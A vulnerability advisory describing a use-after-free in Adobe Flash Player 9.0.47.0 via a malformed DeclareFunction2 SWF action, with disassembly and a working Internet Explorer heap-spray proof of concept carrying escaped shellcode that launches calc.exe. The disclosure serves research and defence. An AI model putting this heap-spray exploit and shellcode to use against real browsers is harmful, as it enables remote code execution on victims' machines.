ZDI advisory: http://www.zerodayinitiative.com/advisories/ZDI-08-021/
Adobe advisory: http://www.adobe.com/support/security/bulletins/apsb08-11.html
Vallejo.cc advisory:
Adobe Flash Player (ActiveX 9.0.47.0) Memory
being used after free. Exploitable.
Javier Vicente Vallejo (j.v.vallejo [_at_]gmail.com, http://www.vallejo.cc)
Abstract
Adobe Flash Player is prone to a “after free” vulnerability when
parsing malformed SWF tags (the problem occurs
exactly with DeclareFunction2 action). Successful
exploitation via Web Browser requires that the attacker should trick the user
into visiting a specially crafted webpage.
Affected versions
Tested with
Adobe Flash Player 9.0.47.0. Due to the difficulty of exploting it, I give here
a proof of concept exploit that will work on Internet Explorer
6.0.2900.2180.xpsp_sp2_gdr.070227-2254, but it worked with other versions. I
have not tested it with SAFlashPlayer.exe.
Analysis
SWF format:
Flash SWF
format is a fully documented format. It starts with a header, following by
tags, and ending with the EndTag tag. You can find documentation about the SWF
format easily over the internet.
The
following structures were extracted from:
http://sswf.sourceforge.net/SWFalexref.html.
Tags have
this structure:
struct swf_tag {
unsigned short f_tag_and_size;
f_tag =
f_tag_and_size >> 6;
f_tag_data_size =
f_tag_and_size & 0x3F;
if(f_tag_data_size
== 63) {
unsigned
long f_tag_data_real_size;
}
else {
f_tag_data_real_size
= f_tag_data_size;
}
};
Some tags
contain “actions” (actionscript resulting code). Actions have this structure:
struct swf_action { char align; unsigned f_action_has_length : 1; unsigned f_action_id : 7; if(f_action_has_length) { unsigned short f_action_length; unsigned char f_action_data[f_action_length]; } };
And they
are concatenated into tags that support actions.
The action
that causes this error is the DeclareFunction2 action (action code = 0x8e),
contained into a DoInitActions tag. This action has the following structure:
string f_name;
unsigned short f_arg_count;
unsigned char f_reg_count;
unsigned short f_declare_function2_reserved
: 7;
unsigned short f_preload_global :
1;
unsigned short f_preload_parent :
1;
unsigned short f_preload_root : 1;
unsigned short f_suppress_super :
1;
unsigned short f_preload_super : 1;
unsigned short f_suppress_arguments
: 1;
unsigned short f_preload_arguments
: 1;
unsigned short f_suppress_this : 1;
unsigned short f_preload_this : 1;
swf_params f_params[f_arg_count];
unsigned short
f_function_length;
This action is used to declare functions (with more
actions into it) that could be called later. Functions declared with this
action support 255 regs that could be manipulated into the function. Also it is
possible to control the preloading or suppressing of the different internal
variables: this, arguments, super, _root, _parent and _global. The preloading
bits indicate in which register to load the given internal variable. The
suppressing bits indicate which internal variable not to create at all. The f_reg_count
parameter needs to be specified and it tells the flash player the largest
register number in use in this function. By default, these registers are
initialized as undefined. The variables automatically loaded in
registers are loaded starting at register 1. The internal variables are loaded
in this order: this, arguments, super, _root, _parent
and _global. Thus, if you call a function which accepts three user
parameters and wants this and _parent, it will load this
in register 1, _parent in register 2 and the user parameters can be
loaded in registers 3, 4 and 5.
The bug occurs when, under some conditions and
previous tags, you declare a function with some number of regs but suppressing
this, super and arguments:
<DeclareFunction2 name="" argc="0" regc="3" preloadThis="1" suppressThis="1" preloadArguments="1" suppressArguments="1" preloadSuper="1" suppressSuper="1" preloadRoot="0" preloadParent="1" preloadGlobal="0" reserved="1">
(I use swfmill.exe to get the xml representation of the
SWF file).
(Note: It seems the bug only occurs if the reserved
field is set).
Disasemblies:
text:30058022
.text:30058022
sub_30058022 proc near ; CODE XREF: sub_3005883A+3p
.text:30058022 push ebx
.text:30058023 push esi
.text:30058024 mov esi, ecx
.text:30058026 xor ebx, ebx
.text:30058028 cmp [esi+3Dh], bl
.text:3005802B mov dword ptr [esi], offset off_301A8FB0
.text:30058031 jz short loc_3005805C
.text:30058033 mov eax, [esi+24h]
.text:30058036 push edi
.text:30058037 mov edi, [eax+1Ch]
.text:3005803A push dword ptr [esi+30h]
.text:3005803D mov ecx, edi
.text:3005803F call sub_30188B70
.text:30058044 push dword ptr [esi+40h]
.text:30058047 mov ecx, edi
.text:30058049 call
sub_30188B70
.text:3005804E mov ecx, [esi+0Ch]
.text:30058051 cmp ecx, ebx
.text:30058053 pop edi
.text:30058054 jz short loc_3005805C
.text:30058056 mov
eax, [ecx] (*1)
.text:30058058 push 1
.text:3005805A call dword ptr [eax]
(*1) At
30058056, ecx is pointing to a object (a c++ class). When the conditions for
the bug are satisfied, that memory is valid, but it is not the object that
should be. The memory was free previously, but the pointer is being used yet.
At 3005805A a call to a virtual function is done, but the address where it
jumps is corrupted.
Proof Of Concept
The address where the flash player jumps when the
vulnerability occurs seems to be very fixed across executions, unless we change
the heap with other methods.
I have
used heap spraying to exploit this vulnerability. With javascript arrays we can
create N heap blocks of size S.
The
address where the player jumps changes while we are modifying the heap, and the
heap will contain our heap blocks with our slides and shellcodes. So modifying
N and S we can exploit the vulnerability for any environment.
Here I
provide the PoC to exploit the vulnerability on Internet Explorer
6.0.2900.2180.xpsp_sp2_gdr.070227-2254 (the exploit seems to work better when
the browser is called with the url as command line parameter: “iexplore.exe http://www.host.com/a.htm”. Otherwise the
exploit fails sometimes). I have tested with other versions and modifying N and
S, and it worked too. Most test was done with a Windows XP Sp2 with last patchs
and updates, .Net framework, Java vm installed,
etc…
The
shellcode executes calc.exe.
Here is
the heap spraying java script code:
<HTML>
<BODY>
<SCRIPT>
var
payLoadCode=unescape(
"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
var spraySlide = unescape("%u9090%u9090");
function getSpraySlide(spraySlide,
spraySlideSize)
{
while
(spraySlide.length*2<spraySlideSize)
{
spraySlide
+= spraySlide;
}
spraySlide
= spraySlide.substring(0,spraySlideSize/2);
return
(spraySlide);
}
var heapBlockSize = 0x98000;
var SizeOfHeapDataMoreover = 0x26;
var payLoadSize = (payLoadCode.length * 2);
var spraySlideSize = heapBlockSize -
(payLoadSize + SizeOfHeapDataMoreover);
var heapBlocks =
(heapSprayToAddress+heapBlockSize)/heapBlockSize;
var memory = new Array();
spraySlide =
getSpraySlide(spraySlide,spraySlideSize);
heapBlocks=1470;
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
</SCRIPT>
<input
language=JavaScript type=button value="nothing">
<object
width="550" height="400">
<param
name="movie" value="a.swf">
<embed
src="a.swf" width="550"
height="400"></embed>
</object>
</BODY>
</HTML>
And
attached there is a SWF causing the vulnerability that will work with the
previous code (/proyectos/flashplayer1_files/vulnfiles.rar)
References
http://sswf.sourceforge.net/SWFalexref.html
http://www.edup.tudelft.nl/~bjwever/advisory_iframe.html.php
Credits
Analysis performed and vulnerability
discovered by Javier Vicente Vallejo.
http://www.vallejo.cc